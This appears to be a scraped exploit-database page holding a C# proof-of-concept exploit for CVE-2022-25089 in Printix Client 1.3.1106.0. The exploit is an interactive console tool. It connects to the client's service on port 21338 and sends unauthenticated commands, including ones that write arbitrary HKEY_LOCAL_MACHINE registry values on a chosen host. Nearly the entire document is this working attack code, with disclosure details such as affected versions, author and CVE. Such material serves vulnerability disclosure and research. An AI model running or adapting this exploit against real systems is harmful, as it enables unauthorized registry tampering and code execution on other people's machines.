扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 |
# Exploit Title: Printix Client 1.3.1106.0 - Remote Code Execution (RCE) # Date: 3/1/2022 # Exploit Author: Logan Latvala # Vendor Homepage: https://printix.net # Software Link: https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip # Version: <= 1.3.1106.0 # Tested on: Windows 7, Windows 8, Windows 10, Windows 11 # CVE : CVE-2022-25089 # Github for project: https://github.com/ComparedArray/printix-CVE-2022-25089 using Microsoft.Win32; using Newtonsoft.Json; using Newtonsoft.Json.Converters; using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Text; using System.Threading; using System.Threading.Tasks; /** * ________________________________________ * * Printix Vulnerability, CVE-2022-25089 * Part of a Printix Vulnerability series * Author: Logan Latvala * Github: https://github.com/ComparedArray/printix-CVE-2022-25089 * ________________________________________ * */ namespace ConsoleApp1a { public class PersistentRegistryData { public PersistentRegistryCmds cmd; public string path; public int VDIType; public byte[] registryData; } [JsonConverter(typeof(StringEnumConverter))] public enum PersistentRegistryCmds { StoreData = 1, DeleteSubTree, RestoreData } public class Session { public int commandNumber { get; set; } public string host { get; set; } public string data { get; set; } public string sessionName { get; set; } public Session(int commandSessionNumber = 0) { commandNumber = commandSessionNumber; switch (commandSessionNumber) { //Incase it's initiated, kill it immediately. case (0): Environment.Exit(0x001); break; //Incase the Ping request is sent though, get its needed data. case (2): Console.WriteLine("\n What Host Address?(DNS Names Or IP)\n"); Console.Write("IP: "); host = Console.ReadLine(); Console.WriteLine("Host address set to: " + host); data = "pingData"; sessionName = "PingerRinger"; break; //Incase the RegEdit request is sent though, get its needed data. case (49): Console.WriteLine("\n What Host Address?(DNS Names Or IP)\n"); Console.Write("IP: "); host = Console.ReadLine(); Console.WriteLine("Host address set to: " + host); PersistentRegistryData persistentRegistryData = new PersistentRegistryData(); persistentRegistryData.cmd = PersistentRegistryCmds.RestoreData; persistentRegistryData.VDIType = 12; //(int)DefaultValues.VDIType; //persistentRegistryData.path = "printix\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName"; Console.WriteLine("\n What Node starting from \\\\Local-Machine\\ would you like to select? \n"); Console.WriteLine("Example: HKEY_LOCAL_MACHINE\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName\n"); Console.WriteLine("You can only change values in HKEY_LOCAL_MACHINE"); Console.Write("Registry Node: "); persistentRegistryData.path = "" + Console.ReadLine().Replace("HKEY_LOCAL_MACHINE","printix"); Console.WriteLine("Full Address Set To:" + persistentRegistryData.path); //persistentRegistryData.registryData = new byte[2]; //byte[] loader = selectDataType("Intel(R) Capability Licensing stuffidkreally", RegistryValueKind.String); Console.WriteLine("\n What Data type are you using? \n1. String 2. Dword3. Qword 4. Multi String\n"); Console.Write("Type:"); int dataF = int.Parse(Console.ReadLine()); Console.WriteLine("Set Data to: " + dataF); Console.WriteLine("\n What value is your type?\n"); Console.Write("Value:"); string dataB = Console.ReadLine(); Console.WriteLine("Set Data to: " + dataF); byte[] loader = null; List<byte> byteContainer = new List<byte>(); //Dword = 4 //SET THIS NUMBER TO THE TYPE OF DATA YOU ARE USING! (CHECK ABOVE FUNCITON selectDataType()!) switch (dataF) { case (1): loader = selectDataType(dataB, RegistryValueKind.String); byteContainer.Add(1); break; case (2): loader = selectDataType(int.Parse(dataB), RegistryValueKind.DWord); byteContainer.Add(4); break; case (3): loader = selectDataType(long.Parse(dataB), RegistryValueKind.QWord); byteContainer.Add(11); break; case (4): loader = selectDataType(dataB.Split('%'), RegistryValueKind.MultiString); byteContainer.Add(7); break; } int pathHolder = 0; foreach (byte bit in loader) { pathHolder++; byteContainer.Add(bit); } persistentRegistryData.registryData = byteContainer.ToArray(); //added stuff: //PersistentRegistryData data = new PersistentRegistryData(); //data.cmd = PersistentRegistryCmds.RestoreData; //data.path = ""; //data.cmd Console.WriteLine(JsonConvert.SerializeObject(persistentRegistryData)); data = JsonConvert.SerializeObject(persistentRegistryData); break; //Custom cases, such as custom JSON Inputs and more. case (100): Console.WriteLine("\n What Host Address?(DNS Names Or IP)\n"); Console.Write("IP: "); host = Console.ReadLine(); Console.WriteLine("Host address set to: " + host); Console.WriteLine("\n What Data Should Be Sent?\n"); Console.Write("Data: "); data = Console.ReadLine(); Console.WriteLine("Data set to: " + data); Console.WriteLine("\n What Session Name Should Be Used? \n"); Console.Write("Session Name: "); sessionName = Console.ReadLine(); Console.WriteLine("Session name set to: " + sessionName); break; } } public static byte[] selectDataType(object value, RegistryValueKind format) { byte[] array = new byte[50]; switch (format) { case RegistryValueKind.String: //1 array = Encoding.UTF8.GetBytes((string)value); break; case RegistryValueKind.DWord://4 array = ((!(value.GetType() == typeof(int))) ? BitConverter.GetBytes((long)value) : BitConverter.GetBytes((int)value)); break; case RegistryValueKind.QWord://11 if (value == null) { value = 0L; } array = BitConverter.GetBytes((long)value); break; case RegistryValueKind.MultiString://7 { if (value == null) { value = new string[1] { string.Empty }; } string[] array2 = (string[])value; foreach (string s in array2) { byte[] bytes = Encoding.UTF8.GetBytes(s); byte[] second = new byte[1] { (byte)bytes.Length }; array = array.Concat(second).Concat(bytes).ToArray(); } break; } } return array; } } class CVESUBMISSION { static void Main(string[] args) { FORCERESTART: try { //Edit any registry without auth: //Use command 49, use the code provided on the desktop... //This modifies it directly, so no specific username is needed. :D //The command parameter, a list of commands is below. int command = 43; //To force the user to input variables or not. bool forceCustomInput = false; //The data to send, this isn't flexible and should be used only for specific examples. //Try to keep above 4 characters if you're just shoving things into the command. string data = "{\"profileID\":1,\"result\":true}"; //The username to use. //This is to fulfill the requriements whilst in development mode. DefaultValues.CurrentSessName = "printixMDNs7914"; //The host to connect to. DEFAULT= "localhost" string host = "192.168.1.29"; // Configuration Above InvalidInputLabel: Console.Clear(); Console.WriteLine("Please select the certificate you want to use with port 21338."); //Deprecated, certificates are no longer needed to verify, as clientside only uses the self-signed certificates now. Console.WriteLine("Already selected, client authentication isn't needed."); Console.WriteLine(" /───────────────────────────\\ "); Console.WriteLine("\nWhat would you like to do?"); Console.WriteLine("\n 1. Send Ping Request"); Console.WriteLine(" 2. Send Registry Edit Request"); Console.WriteLine(" 3. Send Custom Request"); Console.WriteLine(" 4. Experimental Mode (Beta)\n"); Console.Write("I choose option # "); try { switch (int.Parse(Console.ReadLine().ToLower())) { case (1): Session session = new Session(2); command = session.commandNumber; host = session.host; data = session.data; DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200); break; case (2): Session sessionTwo = new Session(49); command = sessionTwo.commandNumber; host = sessionTwo.host; data = sessionTwo.data; DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200); break; case (3): Console.WriteLine("What command number do you want to input?"); command = int.Parse(Console.ReadLine().ToString()); Console.WriteLine("What IP would you like to use? (Default = localhost)"); host = Console.ReadLine(); Console.WriteLine("What data do you want to send? (Keep over 4 chars if you are not sure!)"); data = Console.ReadLine(); Console.WriteLine("What session name do you want to use? "); DefaultValues.CurrentSessName = Console.ReadLine(); break; case (4): Console.WriteLine("Not yet implemented."); break; } } catch (Exception e) { Console.WriteLine("Invalid Input!"); goto InvalidInputLabel; } Console.WriteLine("Proof Of Concept For CVE-2022-25089 | Version: 1.3.24 | Created by Logan Latvala"); Console.WriteLine("This is a RAW API, in which you may get unintended results from usage.\n"); CompCommClient client = new CompCommClient(); byte[] responseStorage = new byte[25555]; int responseCMD = 0; client.Connect(host, 21338, 3, 10000); client.SendMessage(command, Encoding.UTF8.GetBytes(data)); // Theory: There is always a message being sent, yet it doesn't read it, or can't intercept it. // Check for output multiple times, and see if this is conclusive. //client.SendMessage(51, Encoding.ASCII.GetBytes(data)); new Thread(() => { //Thread.Sleep(4000); if (client.Connected()) { int cam = 0; // 4 itterations of loops, may be lifted in the future. while (cam < 5) { //Reads the datastream and keeps returning results. //Thread.Sleep(100); try { try { if (responseStorage?.Any() == true) { //List<byte> byo1 =responseStorage.ToList(); if (!Encoding.UTF8.GetString(responseStorage).Contains("Caption")) { foreach (char cam2 in Encoding.UTF8.GetString(responseStorage)) { if (!char.IsWhiteSpace(cam2) && char.IsLetterOrDigit(cam2) || char.IsPunctuation(cam2)) { Console.Write(cam2); } } }else { } } } catch (Exception e) { Debug.WriteLine(e); } client.Read(out responseCMD, out responseStorage); } catch (Exception e) { goto ReadException; } Thread.Sleep(100); cam++; //Console.WriteLine(cam); } } else { Console.WriteLine("[WARNING]: Client is Disconnected!"); } ReadException: try { Console.WriteLine("Command Variable Response: " + responseCMD); Console.WriteLine(Encoding.UTF8.GetString(responseStorage) + " || " + responseCMD); client.disConnect(); } catch (Exception e) { Console.WriteLine("After 4.2 Seconds, there has been no response!"); client.disConnect(); } }).Start(); Console.WriteLine(responseCMD); Console.ReadLine(); } catch (Exception e) { Console.WriteLine(e); Console.ReadLine(); //Environment.Exit(e.HResult); } goto FORCERESTART; } } } |
体验盒子
